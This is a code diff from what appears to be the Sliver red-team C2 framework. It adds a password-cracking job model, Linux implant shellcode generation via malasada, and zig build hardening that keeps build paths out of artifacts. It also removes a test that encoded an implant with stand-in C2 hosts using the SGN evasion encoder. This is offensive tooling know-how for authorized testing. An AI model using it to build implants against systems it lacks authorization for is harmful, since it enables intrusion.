func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||
if c.Err != "" {
|
||||
return clientpb.CrackJobStatus_FAILED
|
||||
}
|
||||
if c.CompletedAt.IsZero() {
|
||||
return clientpb.CrackJobStatus_IN_PROGRESS
|
||||
}
|
||||
@@ -158,9 +163,67 @@ func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||
return clientpb.CrackJobStatus_COMPLETED
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
func (c *CrackJob) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
if c.ID == uuid.Nil {
|
||||
c.ID, err = uuid.NewV4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if c.CreatedAt.IsZero() {
|
||||
c.CreatedAt = time.Now()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *CrackJob) ToProtobuf() *clientpb.CrackJob {
|
||||
job := &clientpb.CrackJob{
|
||||
ID: c.ID.String(),
|
||||
CreatedAt: c.CreatedAt.UTC().Format(time.RFC3339),
|
||||
Status: c.Status(),
|
||||
Err: c.Err,
|
||||
Command: c.Command.ToProtobuf(),
|
||||
ResultFileID: c.ResultFileID,
|
||||
}
|
||||
if !c.CompletedAt.IsZero() {
|
||||
job.CompletedAt = c.CompletedAt.UTC().Format(time.RFC3339)
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
func (CrackJob) FromProtobuf(c *clientpb.CrackJob) *CrackJob {
|
||||
job := &CrackJob{}
|
||||
if c == nil {
|
||||
return job
|
||||
}
|
||||
jobID := uuid.FromStringOrNil(c.ID)
|
||||
if jobID != uuid.Nil {
|
||||
job.ID = jobID
|
||||
}
|
||||
if c.CreatedAt != "" {
|
||||
if createdAt, err := time.Parse(time.RFC3339, c.CreatedAt); err == nil {
|
||||
job.CreatedAt = createdAt
|
||||
}
|
||||
}
|
||||
if c.CompletedAt != "" {
|
||||
if completedAt, err := time.Parse(time.RFC3339, c.CompletedAt); err == nil {
|
||||
job.CompletedAt = completedAt
|
||||
}
|
||||
}
|
||||
job.Err = c.Err
|
||||
job.ResultFileID = c.ResultFileID
|
||||
if c.Command != nil {
|
||||
job.Command = *CrackCommand{}.FromProtobuf(c.Command)
|
||||
job.Command.CrackJobID = job.ID
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
// CrackTask - An individual chunk of a job sent to a specific crackstation
|
||||
type CrackTask struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||
CrackstationID uuid.UUID `gorm:"type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
StartedAt time.Time
|
||||
@@ -201,6 +264,7 @@ type CrackCommand struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CrackTaskID uuid.UUID `gorm:"type:uuid;"`
|
||||
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||
|
||||
// FLAGS
|
||||
AttackMode int32
|
||||
|
||||
@@ -205,7 +205,7 @@ type ImplantConfig struct {
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
// Shellcode options (Windows: Donut; macOS: beignet uses Compress only)
|
||||
// Shellcode options (Windows: Donut; macOS/Linux: Compress only)
|
||||
DonutEntropy uint32
|
||||
DonutCompress uint32
|
||||
DonutExitOpt uint32
|
||||
|
||||
@@ -63,6 +63,7 @@ func newDBClient() *gorm.DB {
|
||||
&models.DNSCanary{},
|
||||
&models.Crackstation{},
|
||||
&models.Benchmark{},
|
||||
&models.CrackJob{},
|
||||
&models.CrackTask{},
|
||||
&models.CrackCommand{},
|
||||
&models.CrackFile{},
|
||||
|
||||
+321
-22
@@ -21,8 +21,10 @@ package generate
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"debug/elf"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path"
|
||||
@@ -45,6 +47,7 @@ import (
|
||||
"github.com/bishopfox/sliver/util"
|
||||
utilEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/sliverarmory/beignet"
|
||||
"github.com/sliverarmory/malasada"
|
||||
"golang.org/x/mod/module"
|
||||
"golang.org/x/text/cases"
|
||||
"golang.org/x/text/language"
|
||||
@@ -116,6 +119,185 @@ const (
|
||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||
)
|
||||
|
||||
func isZigCC(cc string) bool {
|
||||
cc = strings.TrimSpace(cc)
|
||||
if cc == "" {
|
||||
return false
|
||||
}
|
||||
parts := strings.Fields(cc)
|
||||
if len(parts) == 0 {
|
||||
return false
|
||||
}
|
||||
// We typically set CC as: "<zigpath> cc -target <triple>"
|
||||
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && parts[1] == "cc" {
|
||||
return true
|
||||
}
|
||||
// Fallback: user-provided CC might not match our canonical format.
|
||||
return strings.Contains(cc, "zig cc")
|
||||
}
|
||||
|
||||
func isZigCompilerCmd(cmd string) bool {
|
||||
cmd = strings.TrimSpace(cmd)
|
||||
if cmd == "" {
|
||||
return false
|
||||
}
|
||||
parts := strings.Fields(cmd)
|
||||
if len(parts) == 0 {
|
||||
return false
|
||||
}
|
||||
// We typically set CC/CXX as: "<zigpath> cc|c++ -target <triple>"
|
||||
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && (parts[1] == "cc" || parts[1] == "c++") {
|
||||
return true
|
||||
}
|
||||
// Fallback: user-provided compilers might not match our canonical format.
|
||||
return strings.Contains(cmd, "zig cc") || strings.Contains(cmd, "zig c++")
|
||||
}
|
||||
|
||||
func ensureZigPrefixMap(cmd string) string {
|
||||
if !isZigCompilerCmd(cmd) {
|
||||
return cmd
|
||||
}
|
||||
zigDir := assets.GetZigDir()
|
||||
if zigDir == "" {
|
||||
return cmd
|
||||
}
|
||||
mapPrefix := fmt.Sprintf("-fdebug-prefix-map=%s=", zigDir)
|
||||
if strings.Contains(cmd, mapPrefix) {
|
||||
return cmd
|
||||
}
|
||||
return strings.TrimSpace(cmd + fmt.Sprintf(" -fdebug-prefix-map=%s=/zig", zigDir))
|
||||
}
|
||||
|
||||
func appendToLDFlags(ldflags []string, extra string) []string {
|
||||
extra = strings.TrimSpace(extra)
|
||||
if extra == "" {
|
||||
return ldflags
|
||||
}
|
||||
if len(ldflags) == 0 {
|
||||
return []string{extra}
|
||||
}
|
||||
if len(ldflags) == 1 {
|
||||
if strings.TrimSpace(ldflags[0]) == "" {
|
||||
ldflags[0] = extra
|
||||
return ldflags
|
||||
}
|
||||
ldflags[0] = strings.TrimSpace(ldflags[0] + " " + extra)
|
||||
return ldflags
|
||||
}
|
||||
// go build only accepts a single argument for -ldflags, but callers may have
|
||||
// mistakenly provided multiple. Coalesce into one string.
|
||||
joined := strings.TrimSpace(strings.Join(ldflags, " "))
|
||||
if joined == "" {
|
||||
joined = extra
|
||||
} else {
|
||||
joined = joined + " " + extra
|
||||
}
|
||||
return []string{joined}
|
||||
}
|
||||
|
||||
func applyZigStaticLinking(goConfig *gogo.GoConfig, buildmode string, ldflags []string) (updated []string, enabled bool) {
|
||||
if goConfig == nil {
|
||||
return ldflags, false
|
||||
}
|
||||
if goConfig.GOOS != LINUX {
|
||||
return ldflags, false
|
||||
}
|
||||
if !isZigCC(goConfig.CC) {
|
||||
return ldflags, false
|
||||
}
|
||||
// zig/clang treats `-static` + `-shared` as "build a static archive", which
|
||||
// results in an ar archive misnamed as ".so". Never force `-static` for
|
||||
// c-shared builds.
|
||||
if buildmode == "c-shared" {
|
||||
return ldflags, false
|
||||
}
|
||||
// Force a fully static link for Linux executables when using zig. This keeps
|
||||
// cross-compiled artifacts self-contained.
|
||||
ldflags = appendToLDFlags(ldflags, "-linkmode=external -extldflags=-static")
|
||||
return ldflags, true
|
||||
}
|
||||
|
||||
func sanitizeZigForBuild(goConfig *gogo.GoConfig, buildmode string) {
|
||||
if goConfig == nil {
|
||||
return
|
||||
}
|
||||
// Always apply the prefix-map flags to any zig toolchain we invoke so we
|
||||
// don't leak the Sliver-managed zig root dir (often under ~/.sliver/zig) into
|
||||
// build artifacts.
|
||||
goConfig.CC = ensureZigPrefixMap(goConfig.CC)
|
||||
goConfig.CXX = ensureZigPrefixMap(goConfig.CXX)
|
||||
|
||||
if goConfig.GOOS != LINUX || buildmode != "c-shared" || !isZigCC(goConfig.CC) {
|
||||
return
|
||||
}
|
||||
|
||||
// Ensure we don't accidentally carry a user-provided `-static` into a shared
|
||||
// object link (zig would emit an ar archive).
|
||||
stripStatic := func(cmd string) string {
|
||||
parts := strings.Fields(cmd)
|
||||
if len(parts) == 0 {
|
||||
return cmd
|
||||
}
|
||||
out := make([]string, 0, len(parts))
|
||||
for _, p := range parts {
|
||||
if p == "-static" {
|
||||
continue
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return strings.Join(out, " ")
|
||||
}
|
||||
goConfig.CC = stripStatic(goConfig.CC)
|
||||
goConfig.CXX = stripStatic(goConfig.CXX)
|
||||
|
||||
// zig's default linux toolchain target in Sliver is musl, which is great for
|
||||
// static executables. For shared objects, musl shared libraries are rarely
|
||||
// present on the target. Prefer a glibc target for shared objects.
|
||||
goConfig.CC = strings.ReplaceAll(goConfig.CC, "-linux-musl", "-linux-gnu")
|
||||
goConfig.CXX = strings.ReplaceAll(goConfig.CXX, "-linux-musl", "-linux-gnu")
|
||||
}
|
||||
|
||||
func validateELFSharedObject(path string, requireFullyStatic bool) error {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
// Sniff common mis-builds first for clearer errors.
|
||||
var hdr [8]byte
|
||||
n, err := io.ReadFull(f, hdr[:])
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
return err
|
||||
}
|
||||
if 8 <= n && bytes.HasPrefix(hdr[:], []byte("!<arch>\n")) {
|
||||
return fmt.Errorf("output %q is an ar archive (expected an ELF shared object). This usually means the build used -buildmode=c-archive or zig was invoked with -static while linking a shared object", path)
|
||||
}
|
||||
if n < 4 || !bytes.Equal(hdr[:4], []byte{0x7f, 'E', 'L', 'F'}) {
|
||||
return fmt.Errorf("output %q does not look like an ELF file", path)
|
||||
}
|
||||
|
||||
ef, err := elf.NewFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ef.Type != elf.ET_DYN {
|
||||
return fmt.Errorf("output %q is not an ELF shared object (ET_DYN), got %v", path, ef.Type)
|
||||
}
|
||||
|
||||
if requireFullyStatic {
|
||||
needed, err := ef.DynString(elf.DT_NEEDED)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read DT_NEEDED from %q: %w", path, err)
|
||||
}
|
||||
if len(needed) != 0 {
|
||||
return fmt.Errorf("output %q is not fully static (DT_NEEDED=%v); this usually means zig did not link statically", path, needed)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSliversDir - Get the binary directory
|
||||
func GetSliversDir() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
@@ -134,20 +316,111 @@ func GetSliversDir() string {
|
||||
// Sliver Generation Code
|
||||
// -----------------------
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet)
|
||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet, Linux: malasada)
|
||||
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
switch config.GOOS {
|
||||
case WINDOWS:
|
||||
return windowsShellcode(name, build, config, pbC2Implant)
|
||||
case DARWIN:
|
||||
return darwinShellcode(name, build, config, pbC2Implant)
|
||||
case LINUX:
|
||||
return linuxShellcode(name, build, config, pbC2Implant)
|
||||
}
|
||||
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
|
||||
}
|
||||
|
||||
func linuxShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "amd64" && config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("linux shellcode format not supported on %s architecture", config.GOARCH)
|
||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("linux shellcode requires at least one export symbol")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
sanitizeZigForBuild(goConfig, "c-shared")
|
||||
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||
|
||||
config.IsSharedLib = true
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-*.so")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFile.Name())
|
||||
soDest := tmpFile.Name()
|
||||
|
||||
tags := []string{}
|
||||
if config.NetGoEnabled {
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, soDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if goConfig.GOOS == LINUX {
|
||||
if err := validateELFSharedObject(soDest, wantStaticSO); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
compress := false
|
||||
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
|
||||
compress = true
|
||||
}
|
||||
shellcodeBin, err := malasada.ConvertSharedObject(soDest, config.Exports[0], compress)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
shellcodeDest += ".bin"
|
||||
|
||||
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return shellcodeDest, nil
|
||||
}
|
||||
|
||||
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("darwin shellcode format is only supported for arm64 architecture")
|
||||
return "", fmt.Errorf("darwin shellcode format not supported on %s architecture", config.GOARCH)
|
||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
|
||||
@@ -162,9 +435,6 @@ func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
buildLog.Infof(" CC: %s", cc)
|
||||
buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
@@ -332,6 +602,9 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
sanitizeZigForBuild(goConfig, "c-shared")
|
||||
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
@@ -354,13 +627,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||
if !config.Debug && goConfig.GOOS == WINDOWS {
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
// Statically link Linux .so files to avoid glibc hell
|
||||
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
|
||||
ldflags[0] += " -linkmode external -extldflags \"-static\""
|
||||
}
|
||||
|
||||
// Keep those for potential later use
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
@@ -368,6 +639,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if goConfig.GOOS == LINUX {
|
||||
if err := validateELFSharedObject(dest, wantStaticSO); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return dest, err
|
||||
}
|
||||
@@ -376,18 +652,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
// var cc string
|
||||
// var cxx string
|
||||
// cgo := "0"
|
||||
// if runtime.GOOS != config.GOOS {
|
||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
// cgo = "1"
|
||||
// }
|
||||
|
||||
// buildLog.Infof(" CC: %s", cc)
|
||||
// buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
GOOS: config.GOOS,
|
||||
@@ -446,6 +710,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
|
||||
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
||||
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
|
||||
|
||||
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
||||
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
||||
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
||||
@@ -910,6 +1175,11 @@ func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string)
|
||||
}
|
||||
}
|
||||
|
||||
// Ensure all zig invocations have prefix maps applied (prevents absolute
|
||||
// paths under the Sliver zig dir from leaking into artifacts).
|
||||
cc = ensureZigPrefixMap(cc)
|
||||
cxx = ensureZigPrefixMap(cxx)
|
||||
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
@@ -972,7 +1242,10 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
})
|
||||
}
|
||||
|
||||
// SHELLCODE - Windows (Donut) and macOS (beignet, darwin/arm64 only)
|
||||
// SHELLCODE
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet (darwin/arm64 only)
|
||||
// - Linux: malasada (linux/{amd64,arm64} only)
|
||||
for longPlatform := range SupportedCompilerTargets {
|
||||
platform := strings.SplitN(longPlatform, "/", 2)
|
||||
switch platform[0] {
|
||||
@@ -1008,6 +1281,32 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
})
|
||||
}
|
||||
}
|
||||
case LINUX:
|
||||
if platform[1] != "amd64" && platform[1] != "arm64" {
|
||||
continue
|
||||
}
|
||||
|
||||
// We can always try to build our own platform.
|
||||
if runtime.GOOS == platform[0] {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Cross-compile with the right configuration (same requirements as a linux shared library build).
|
||||
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -28,7 +28,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -136,10 +135,6 @@ func TestSliverSharedLibWindows(t *testing.T) {
|
||||
// 386
|
||||
multiLibrary(t, "windows", "386", true)
|
||||
multiLibrary(t, "windows", "386", false)
|
||||
|
||||
// Shared Library Shellcode
|
||||
multiWindowsLibraryShellcode(t, true)
|
||||
multiWindowsLibraryShellcode(t, false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableLinux(t *testing.T) {
|
||||
@@ -542,54 +537,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
cleanupGeneratedArtifacts(t, binPath)
|
||||
}
|
||||
|
||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
// encode bin with sgn
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||
}
|
||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||
Iterations: 1,
|
||||
PlainDecoder: false,
|
||||
Safe: true,
|
||||
MaxObfuscation: 100,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("sgn encode failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
t.Logf("[symbol obfuscation] %s/%s ...", goos, goarch)
|
||||
name := fmt.Sprintf("symbol_test%d", nonce)
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
)
|
||||
|
||||
func TestIsZigCC(t *testing.T) {
|
||||
tests := []struct {
|
||||
cc string
|
||||
want bool
|
||||
}{
|
||||
{cc: "", want: false},
|
||||
{cc: "gcc", want: false},
|
||||
{cc: "zig cc -target x86_64-linux-musl", want: true},
|
||||
{cc: "/tmp/zig cc -target x86_64-linux-musl", want: true},
|
||||
{cc: "/tmp/zig c++ -target x86_64-linux-musl", want: false},
|
||||
{cc: "something zig cc something", want: true},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
if got := isZigCC(tt.cc); got != tt.want {
|
||||
t.Fatalf("isZigCC(%q) = %v, want %v", tt.cc, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||
if enabled {
|
||||
t.Fatalf("did not expect -static flags for c-shared (zig emits an ar archive instead of a .so)")
|
||||
}
|
||||
if len(ldflags) != 1 {
|
||||
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||
}
|
||||
if ldflags[0] != "" {
|
||||
t.Fatalf("expected ldflags unchanged, got %q", ldflags[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking_Executable(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "", []string{""})
|
||||
if !enabled {
|
||||
t.Fatalf("expected static linking to be enabled for linux zig cc executable build")
|
||||
}
|
||||
if len(ldflags) != 1 {
|
||||
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||
}
|
||||
if !strings.Contains(ldflags[0], "-linkmode=external") {
|
||||
t.Fatalf("expected -linkmode=external in ldflags, got %q", ldflags[0])
|
||||
}
|
||||
if !strings.Contains(ldflags[0], "-extldflags=-static") {
|
||||
t.Fatalf("expected -extldflags=-static in ldflags, got %q", ldflags[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking_NotLinux(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "windows",
|
||||
CGO: "1",
|
||||
CC: "zig cc -target x86_64-windows-gnu",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||
if enabled {
|
||||
t.Fatalf("did not expect static linking to be enabled on %s", cfg.GOOS)
|
||||
}
|
||||
if len(ldflags) != 1 || ldflags[0] != "" {
|
||||
t.Fatalf("expected ldflags unchanged, got %v", ldflags)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeZigForBuild_LinuxSharedObject(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl -static",
|
||||
CXX: "/tmp/zig c++ -target x86_64-linux-musl -static",
|
||||
}
|
||||
sanitizeZigForBuild(cfg, "c-shared")
|
||||
|
||||
if strings.Contains(cfg.CC, "-static") || strings.Contains(cfg.CXX, "-static") {
|
||||
t.Fatalf("expected -static to be stripped for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
if strings.Contains(cfg.CC, "-linux-musl") || strings.Contains(cfg.CXX, "-linux-musl") {
|
||||
t.Fatalf("expected linux-musl -> linux-gnu for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
if !strings.Contains(cfg.CC, "-linux-gnu") || !strings.Contains(cfg.CXX, "-linux-gnu") {
|
||||
t.Fatalf("expected linux-gnu target for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
|
||||
// We should also add a debug prefix map for the Sliver-managed zig root to
|
||||
// avoid leaking absolute paths in DWARF.
|
||||
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set, got CC=%q", cfg.CC)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeZigForBuild_Windows(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "windows",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-windows-gnu",
|
||||
CXX: "/tmp/zig c++ -target x86_64-windows-gnu",
|
||||
}
|
||||
sanitizeZigForBuild(cfg, "c-shared")
|
||||
|
||||
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
